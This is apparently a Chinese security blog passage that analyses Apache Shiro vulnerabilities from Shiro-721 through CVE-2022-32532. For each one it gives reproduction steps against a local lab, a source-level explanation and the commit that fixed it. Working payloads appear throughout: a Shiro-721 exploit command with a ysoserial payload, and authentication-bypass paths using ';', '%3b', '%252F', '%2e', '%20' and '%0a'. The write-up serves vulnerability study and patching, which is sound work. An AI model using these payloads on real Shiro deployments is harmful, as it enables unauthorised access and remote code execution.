勾选rememberMe,登录获取rememberMe的cookie value
1 rememberMe=UHO2xoJqYLimSdPUt+qvPuJc2MqyYr1MOHj20pCIpD9WYs9oc8oOvHo9DdfjY/2fNv5mB34OIgamHYByPj75f7ixcrame6ad5/F5sfKJ+7+r3qj5l0SSJMK4S9PpHHzHY4heNG1oOvcqQSekm4msr3W6YoYNPP0THVbf7u0Yt3vzMzgxJzAqbCFRDXyY6L+ryFRfyE0jjPvfHyk9G2EbZBLsvEHlUPr9AZ+GWP+VkB2mUYF8yk2QSPOzVYr0NmYOAjGIY5IJhcn7lW5USNmWuXDLF/lkJvvjzR7cKA6NvG+4u0mEbHfETPFijiwsRjEwxlORwOmMnR5SkH1MWFRspijIk4WRSFPQnexQTq+Y4uuLDU9N69UrfhlFAGI3rRni42OpEzvkyHd+k7+jHvIL0haGdxRsyXLSO3rjLVLnRaNxyuUpVya4s2iENx5/fpOqigJcYxi3l5QLMe2vAtHxNrlKMuM+Al3BYEhI/ep06zWyAiv3XrmCrIlDV5NcH3Sa
使用ysoserial生成payload
利用脚本还是这位师傅的:https://github.com/inspiringz/Shiro-721
1 python2 .\shiro_exp.py "http://192 .168 .12 .130 :8080 /myshiro/" "UHO2xoJqYLimSdPUt+qvPuJc2MqyYr1MOHj20pCIpD9WYs9oc8oOvHo9DdfjY/2 fNv5mB34OIgamHYByPj75f7ixcrame6ad5/F5sfKJ+7 +r3qj5l0SSJMK4S9PpHHzHY4heNG1oOvcqQSekm4msr3W6YoYNPP0THVbf7u0Yt3vzMzgxJzAqbCFRDXyY6L+ryFRfyE0jjPvfHyk9G2EbZBLsvEHlUPr9AZ+GWP+VkB2mUYF8yk2QSPOzVYr0NmYOAjGIY5IJhcn7lW5USNmWuXDLF/lkJvvjzR7cKA6NvG+4 u0mEbHfETPFijiwsRjEwxlORwOmMnR5SkH1MWFRspijIk4WRSFPQnexQTq+Y4uuLDU9N69UrfhlFAGI3rRni42OpEzvkyHd+k7+jHvIL0haGdxRsyXLSO3rjLVLnRaNxyuUpVya4s2iENx5/fpOqigJcYxi3l5QLMe2vAtHxNrlKMuM+Al3BYEhI/ep06zWyAiv3XrmCrIlDV5NcH3Sa" .\payload.ser
最后得到可利用的RememberMe Cookie,发送数据包即可,这里因为电脑比较卡,就没有跑出来。
漏洞分析 这块的漏洞原理和CVE-2016-6802讲的shiro key探测类似,都是通过异常走进catch代码块中的onRememberedPrincipalFailure
方法,导致响应包出现deleteMe的字段,根据回显的不同来进行探测的
先进入convertBytesToPrincipals
方法中看下哪个点会触发异常,这里有个getCipherService
方法不会导致异常的发生,那就看下decrypt
方法
跟进decrypt
方法,调用arraycopy
方法将原密文复制到encrypted
数组中,并传入JcaCipherService#decrypt
一个重载方法
继续一直调用decrypt重载方法,最后来到这个重载方法,调用Cipher#doFinal
方法
来到AESCipher#engineDoFinal
继续向下通过CipherCore#unpad
方法检测是否padding正确,否则抛出异常
unpad
方法的检测逻辑
所以,如果padding正确,那么就会返回正常的数据包,如果padding异常就会被最开始的AbstractRememberMeManager#getRememberedPrincipals
方法捕获,进入AbstractRememberMeManager#onRememberedPrincipalFailure
方法中,后面在响应包中回显deleteMe在检测key时就说明过了,不在向下分析。
有关RememberMe Padding Oracle更多的细节可以看:https://xz.aliyun.com/t/9406
漏洞修复 在 1.4.2 版本的更新 Commit-a801878 中针对此漏洞进行了修复,在AesCipherService中重写了createParameterSpec
方法,设置默认使用 GCM 加密模式
CVE-2020-1957 漏洞信息
漏洞复现 漏洞起源于 SHIRO-682 ,根据描述信息大致可以知道,在shiro和spring结合使用时,spring请求的 /resource/meuns
和 /resource/menus/
都能够访问到资源,但是在shiro的pathPattern匹配时,会匹配上 /resource/meuns
,但不能匹配 /resource/menus/
,因此可以使用reuestURI + “/“ 去绕过filter chain,绕过shiro的权限校验。
下面简单搭建一个springboot+shiro的环境,shiro的版本用的是<=1.5.1即可,ShiroConfig配置好需要鉴权的路径
然后访问需要权限的 /admin/index
接口,如下显示302需要登录
这时根据漏洞的描述,访问 /admin/index/
,成功绕过
习惯性的用字典跑一下,还是可以采用 “;”进行绕过
1 2 3 /;/myshiro/admin/index /%3b/../myshiro/admin/index /img/..;/myshiro/admin/index
漏洞分析 spring 在分发请求时,会调用PathPatternsRequestCondition#getMatchingPatterns
获取匹配的路径,调用的是PathPattern.mathches
进行匹配,从结果来看spring认为 /admin/index
和 /admin/index/
一样
而shiro的路径匹配采用的是org.apache.shiro.util.PatternMatcher#matches
,返回false
,就导致了shiro的权限绕过
在上面漏洞复现的时候,我会习惯性地用字典跑一个权限绕过的payload,大家应该发现每次跑的时候都存在一个 ";"
绕过的方式,而这个方式就是对上面的一种绕过,修改下环境的shiro版本,上面环境用的是shiro1.4.2,现在改用shiro1.5.2(该版本已经修复了上面采用 “/“ 进行全绕过的漏洞),在pom.xml中修改为如下
1 2 3 4 5 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.5.2</version> </dependency>
此时,再去测试时就会发现 "/"
这种方式已经失效了
试试之前经常用的 ";"
,可以发现依旧能够绕过权限校验
注:该绕过方式在shiro1.5.3终于修复,下面是shiro1.5.3的环境
那么,我们就要研究下在shiro<=1.5.2中,";"
绕过的原理是什么,以及在shiro1.5.3中又是如何修复的呢,下面开始分析。
还是从org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
方法开始分析
这里看到获取的contextPath的值是 "/;/shiro"
, 根据经验,只要requestUri不是以contextPath开头那都可能存在问题提,所以这次可能也不例外
进入org.apache.shiro.web.util.WebUtils#getRequestUri
,发现在处理uri时会调用WebUtils#decodeAndCleanUriString
进行处理
跟进WebUtils#decodeAndCleanUriString
,可以发现,这里会检查uri中是否包含有 ";"
,如果有,就以第一个 ";"
为下标进行字符串截取,如下截取完之后就会返回 "/"
所以,requestUri返回 "/"
而后,在进行路径匹配时,那就是false
了,shiro这层就绕过了
那spring有是如何处理requestUri,它会对 ";"
做什么处理?
spring处理的时候会调用org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString
方法处理uri,如下,包含有三个方法,每一个方法都对uri进行了相应的处理
首先,跟进UrlPathHelper#removeSemicolonContent
方法,发现循环体会将;xxx/
中的分号与斜杠之间的字符串以及分号本身都去掉,也就是说 "/;aa/bbb"
会转化成 "/bbb"
返回,进入第二个decodeRequestString
方法,发现会根据对应的编码进行解码操作,否则进行url解码
进入第三个getSanitizedPath
方法,可以看到就是将 "//"
转成 "/"
所以,我们的uri:/;a/myshiro/admin/index
经过这三个函数转化后变成 /myshiro/admin/index
漏洞修复 对于采用 “/“的形式绕过,在Commit-589f10d 和Commit-9762f97 中得到了修复,如果requestURI以 “/“结尾就去除
第二次提交是Commit-9762f97 ,对path与 “/“ 做了个判断
对使用 ";"
绕过的修复在 Commit-3708d79
获取requestURI的方式发生了改变,改成如下方式:
1 uri = request.getContextPath() + "/" + request.getServletPath() + request.getPathInfo();
说明下这几个方法的区别:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 假设访问url为:http://127.0.0.1:8080/myshiro/admin/index request.getContextPath():返回上下文路径(也就是工程名) - 返回的就是/myshiro,如果工程名为空,那返回的也是空 request.getServletPath():返回除去host和工程名部分的路径 - 当访问servlet时:返回就是/admin/index - 当访问resource目录下的login.jsp时:返回的就是/resource/login.jsp request.getRequestURI():返回除去host(域名或者ip)部分的路径 - 当访问servlet时:/myshiro/admin/index - 当访问resource目录下的login.jsp时:返回的就是/resource/login.jsp request.getRequestURL():返回的整个URL的路径请求 - 返回的就是http://127.0.0.1:8080/myshiro/admin/index request.getRealPath():返回的文件所在的绝对路径,相对于当前计算机的真实路径 request.getPathInfo():返回请求的实际URL相对于请求的serlvet的url的路径。 - 当servlet配置为(url-pattern=/admin/index/*)时,访问http://127.0.0.1:8080/myshiro/admin/index/a/b.html,则返回的就是/a/b.html request.getScheme():返回的是使用的协议(http 或https) request.getProtocol():获取的是协议的名称(HTTP/1.11) request.getServerName():获取的是域名 request.getLocalName():获取到的是IP 假设访问url为:http://localhost/hehehe (无工程名) getContextPath: getServletPath:/hehehe getRequestURI():/hehehe getRequestURL():http://localhost/hehehe getRealPath():E:\java\myshiro\out\artifacts\myshiro_Web_exploded\ getPathInfo():null
但其实在这里测试使用 ";"
还是可以绕过,因为在request.getContextPath
方法处理的结果还是包含 ";"
真正的修复在 shiro1.5.3中,直接采用getServletPath(request) + getPathInfo(request)
获取requestURI,然后返回和PathPattern比对。
再次用/;/admin/index
测试得到如下:
CVE-2020-11989 漏洞信息
漏洞复现 之前我们在配置路径表达式的时候都是配置成/admin/**
这种形式,这种风格叫Ant风格,ANT 通配符有 3 种
通配符
说明
?
匹配任何单字符
*
匹配0或者任意数量的字符
**
匹配0或者更多的目录
当配置成 /admin/*
时,我们访问 /admin/a会被拦截,但是访问 /admin/a/b则不会,本次漏洞的触发原因之一就是当配置路径表达式中使用了 "*"
, 下面我们搭建环境复现。
环境有点小变化,ShiroConfig配置成如下形式 /admin/*
修改controller的路径访问,配置成restful风格的请求方式:@PostMapping(value = "/{name}")
当访问/admin/*
下的资源时,被拦截
当访问/admin/index%252Fxxxxxx
是时,权限被绕过
漏洞分析 在分析漏洞前,先了解下tomcat URL解析的差异,在CVE-2020-1957的结尾我们了解了HTTPServletRequest
的几个解析URL的函数,现在回顾一遍
网上的一个小结,Servlet的匹配路径为/test%3F/*
,并且Web应用是部署在/app
下,此时请求的URL为http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID?p+1=c+d&p+2=e+f#a
,各个函数解析如下表:
函数
URL解码
解析结构
getRequestURL()
no
http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID
getRequestURI()
no
/app/test%3F/a%3F+b;jsessionid=s%3F+ID
getContextPath()
no
/app
getServletPath()
yes
/test?
getPathInfo()
yes
/a?+b
结论的具体分析细节可以看这篇文章:https://xz.aliyun.com/t/7544;贴出上面结论的原因就是这次的漏洞的成因之一就来自于上面列出的解析函数对URL解码的特性,既然tomcat对url的处理方式是这样的,那shiro的处理会有所差异么?我们来分析看看。
本次漏洞环境还是用的shiro1.5.2的,请求/myshiro/admin/index%252Faa
,调式 进入getRequestUri
方法
更进,发现调用了request.getServletPath
方法进行uri拼接,在上面的函数表格里,getServletPath
方法会对url进行一次解码
可以看到此时getServletPath
返回的值为 /admin/index%2Faa
,uri为/myshiro//admin/index%2Faa
然后将uri传入decodeAndCleanUriString
方法,继续进入decodeRequestString
方法
这里会对uri再进行一次解码,原本uri为/myshiro//admin/index%2Faa
,解码之后得到/myshiro//admin/index/aa
然后返回/admin/index/aa
最后匹配不上,导致权限绕过
而spring在处理时会把/myshiro/admin/index%252Faa
处理成 /admin/index%2Faa
,就会被@PostMapping(value = "/{name}")
接收,可能会绕过请求。
漏洞修复 Shiro 在 Commit-01887f6 中针对此漏洞进行了修复,第一处修改,采用getServletPath(request) + getPathInfo(request)
获取requestURI
第二处修改就是直接用HttpServletRequest.getRequestURI
方法获取uri
CVE-2020-13933 漏洞信息
漏洞复现 本次环境采用的是shiro1.5.3,使用CVE-2020-11989的payload发现失效
使用 /myshiro/admin/%3baa
成功绕过
漏洞分析 发送payload,调式进入org.apache.shiro.web.util.WebUtils#getPathWithinApplication
方法中,根据表达式运算工具,返回的是 "/admin/"
,和预期的一样
下面简单分析下绕过的过程,在上面有提到过WebUtils#getServletPath
会对url进行一次解码,因此我们请求的/myshiro/admin/%3baa
变成了/admin/;aa
然后调用removeSemicolon
方法处理,熟悉的都知道这个是去除 ";"
及后面的字符串
然后再调用normalize
函数进行路径标准化处理,最后得到的就是/admin/
,返回requestURI后,去除末尾的 "/"
,与pathPattern: "/admin/*"
匹配失败导致权限绕过。
而spring、tomcat会将请求处理成/admin/;aa
,然后配合 PathVariable
注解 String 类型的参数,导致可以绕过鉴权请求 /admin/{name}
漏洞修复 本次漏洞修复位于 Commit-dc194fc 中,新增了一个全局过滤器
在类的注释中详细的说明了该过滤器的作用和规则,将会阻断带有分号,反斜线,非 ASCII 字符的请求,返回400状态码
并添加进全局过滤器中
CVE-2020-17510 漏洞信息
漏洞复现 本次环境采用的是shiro1.6.0以及 PathVariable
注解 String 类型参数的场景,还是基于 AntPathMatcher 的绕过,前面的绕过有个共性就是shiro对uri处理的逻辑与Spring不同导致的,还记得CVE-2010-3836采用的是 "."
进行绕过的,还有采用 ";"
和URL编码%3b的,那 “.”的url编码%2e可否呢,本次漏洞的payload就是出自%2e。
用CVE-2020-13933的payload,失败
访问 /myshiro/admin/%2e
即可绕过
当然还有/myshiro/admin/%2e/
,/myshiro/admin/%2e%2e
,/myshiro/admin/%2e%2e/
漏洞分析 访问/myshiro/admin/%2e
,调试进入org.apache.shiro.web.util.WebUtils#getPathWithinApplication
,运算表达式,可见返回"/admin/"
,到这就不用继续下去了,和CVE-2020-13933的分析一样,先调用getServletPath
方法对 /admin/%2e
进行url解码得到/admin/.
,然后经过normalize
函数路径标准化将/admin/.
转化为/admin/
,到这也就为什么/myshiro/admin/%2e/
,/myshiro/admin/%2e%2e
,/myshiro/admin/%2e%2e/
这几个payload能用的原因了,经过这两个方法处理都“无了”。
经测试,getServletPath
方法会进行url解码,”;”及后面字符串的去除,和路径标准化处理
对于Spring来说,Spring Boot 版本在小于等于 2.3.0.RELEASE时,会对uri进行解码然后路径标准化,这样得到的路径为/myshiro/admin
,没有路径与之匹配。所以只有当 Spring Boot 版本在大于 2.3.0.RELEASE时标准化路径后/myshiro/admin/%2e
,然后解码得到/myshiro/admin/.
,所以其他payload:
1 2 3 /myshiro/admin/%2e/ -> /myshiro/admin/%2e/ -> /myshiro/admin/./ /myshiro/admin/%2e%2e -> /myshiro/admin/%2e%2e -> /myshiro/admin/.. /myshiro/admin/%2e%2e/ -> /myshiro/admin/%2e%2e/ -> /myshiro/admin/../
漏洞修复 本次漏洞修复位于 Commit-6acaaee ,创建了 UrlPathHelper 的子类 ShiroUrlPathHelper,并重写了 getPathWithinApplication
和 getPathWithinServletMapping
两个方法,使得spring在处理uri时使用 Shiro 自己的逻辑 WebUtils#getPathWithinApplication
进行返回,这样就能保证Spring 与 Shiro 处理requestURI时不会在差异
创建好ShiroUrlPathHelper类后,就将其导入到ApplicationConfig配置类中
将RequestMappingHandlerMapping#urlPathHelper
设置为 ShiroUrlPathHelper
,而后,Spring 在匹配 handler 时获取路径的逻辑就会使用 Shiro 提供的逻辑。在高版本的spring中,会导致应用程序使用 UrlPathHelper.defaultInstance
来处理,而不是 Shiro 实现的 ShiroUrlPathHelper
来处理,又会导致权限绕过的产生。
CVE-2020-17523 漏洞信息
漏洞复现 本次环境用的是shiro1.7.0和依赖单个 “*” 的通配符以及 PathVariable
注解 String 类型的参数的场景触发漏洞,本次的绕过方法是使用空格的 URL 编码:%20
。
访问 /myshiro/admin/%20
成功绕过,当然也可以 /myshiro/admin/%20%20
/myshiro/admin/%20%20/
漏洞分析 处理完之后的requestURI为 "/admin/ "
和pathPattern "/admin/*"
进行匹配,这里肯定是匹配失败返回false的,但是为什么呢
跟进来到org.apache.shiro.util.AntPathMatcher#doMatch
方法,这里会调用org.apache.shiro.util.StringUtils#tokenizeToStringArray
方法对pattern和path进行处理,我们跟进去
在org.apache.shiro.util.StringUtils#tokenizeToStringArray
方法中主要是将str按照delimiters进行分割,然后保存到tokens中,其中传入的两个布尔类型的参数trimTokens控制是否对token去除空格,ignoreEmptyTokens控制是否忽略空的tokens
在去出第二个token时,这里的token为 " "
,因为经过trim()
处理后为""
,所以最终返回的tokens数组就只有admin一个,导致匹配失败
而对于spring来说,空格也是可以作为RequestMapping请求的路径的,所以能够请求成功
漏洞修复 本次漏洞修复位于Commit-ab1ea4a ,将org.apache.shiro.util.StringUtils#tokenizeToStringArray
方法的第三个参数 trimTokens 设置为 false,忽略空格的去除
CVE-2021-41303 漏洞信息
漏洞复现 本次环境用的是shiro1.7.1,配置匹配规则如下
1 2 filterMap.put("/admin/*" , "authc" ); filterMap.put("/admin/test" , "anon" );
直接访问 /myshiro/admin/test
失败,因为会和第一条规则匹配
访问 /myshiro/admin/test/
,成功绕过
漏洞分析 在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
方法中相较于shiro1.7.0版本有了些不同
在1.7.1中把外部可控的requestURINoTrailingSlash(requestURI去掉了/后缀)带入到了org.apache.shiro.web.filter.mgt.FilterChainManager#proxy
方法中,因此可以发送特定的请求去达到权限绕过。
场景一:当发送如下的请求时,因为requestURI和pathPattern直接就匹配上了,进入到了filterChainManager.proxy(originalChain, pathPattern)
,就无法利用
1 2 URI:/myshiro/admin/test pathPattern:/admin/*
场景二:当发送如下的请求时,我们在URI后多加一个/,就能让requestURI和pathPattern匹配不上,进入第二次匹配,并且能在第二次匹配中使其pathPattern和requestURINoTrailingSlash成功匹配上,从而进入filterChainManager.proxy(originalChain, requestURINoTrailingSlash)
1 2 URI:/myshiro/admin/test/ pathPattern:/admin/*
但是如果requestURINoTrailingSlash
在鉴权配置的map中找不到(字符串比较)对应的value数据时,就会报错,而在shiro1.7.1之前,传入的是外部无法控制的pathPattern
,而pathPattern
是来自于鉴权配置map中的key,所以肯定是可以找到
如果我们在环境中配置如下规则
1 2 filterMap.put("/admin/*", "authc"); filterMap.put("/admin/test", "anon");
在shiro1.7.1之前,我们访问 /myshiro/admin/test/
,此时调用filterChainManager.proxy(originalChain, "/admin/*")
那肯定是 /admin/*
这个authc filter进行了处理进行了拦截,在shiro1.7.1开始,调用的就是filterChainManager.proxy(originalChain, "/admin/test")
那肯定是 /admin/test
这个anon filter进行了处理,进而顺利的bypass auth访问到了接口。
更多细节可以参考:从源码diff分析Apache-Shiro 1.7.1版本的auth bypass(CVE-2021-41303))
漏洞修复 本次漏洞修复位于 Commit-4a20bf0 ,解决方式就是和1.7.1之前一样传入pathPattern
获取filter
CVE-2022-32532 漏洞信息
漏洞复现 该漏洞和CVE-2022-22978 Spring-security RegexRequestMatcher 认证绕过漏洞类似,在 RegexRequestMatcher 中使用的正则匹配在默认情况下, 正则表达式中点(.)不会匹配换行符, 设置了Pattern.DOTALL
模式, 才会匹配所有字符包括换行符,因此可以使用在路径中添加换行符来绕过权限校验。
漏洞环境采用的是4ra1n师傅的,但已经删除了,可以访问https://github.com/Lay0us1/CVE-2022-32532
在这套环境中用的是shiro1.9.0,环境使用的PatternMatcher为RegExPatternMatcher
环境搭建好后,/permit/*
下的都是需要权限的,因此直接访问失败
使用绕过的payload /myshiro/permit/%0axx
,成功访问
漏洞分析 使用payload访问,调式进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
,在进行pathPattern匹配时会调用org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches
,该方法会获取PatternMatcher
此时获取到的不再是默认的AntPathMatcher
,而是RegExPatternMatcher
,在该类中并没有配置Pattern.DOTALL
,导致匹配失败
漏洞修复 本次漏洞修复位于 Commit-6bcb92e ,在进行正则匹配时添加了 Pattern.DOTALL
选项
总结 花三天全部漏洞跟了一遍,算是解决了之前的一些疑惑,后面打算再把fastjson全版本漏洞过一遍,加深对漏洞的理解。
环境的代码上传到github了,有需要的自取:shiro环境.zip ,很多漏洞可公用一个环境,只需简单改下shiro的版本即可。
我自己整理的权限绕过的字典放在了GitHub上:auth_bypass.txt ,使用很灵活,可以在contextpath处,servlet后,或者path中间等等。
文中大量参考了su18师傅的分析过程,su18师傅的文章写的很详细,浅显易懂。
参考 https://su18.org/post/shiro-5/
https://blog.csdn.net/Xxy605/article/details/125404334 https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect https://cloud.tencent.com/developer/article/1848169 https://blog.csdn.net/whq12789/article/details/88031965 https://mp.weixin.qq.com/s/m6eHtxGTMK4igNQcMpqxaw https://github.com/Ares-X/shiro-exploit https://github.com/inspiringz/Shiro-721 https://xz.aliyun.com/t/9406 https://xz.aliyun.com/t/7544 https://threedr3am.github.io/2021/09/22/%E4%BB%8E%E6%BA%90%E7%A0%81diff%E5%88%86%E6%9E%90Apache-Shiro%201.7.1%E7%89%88%E6%9C%AC%E7%9A%84auth%20bypass%EF%BC%88CVE-2021-41303%EF%BC%89/ https://github.com/Lay0us1/CVE-2022-32532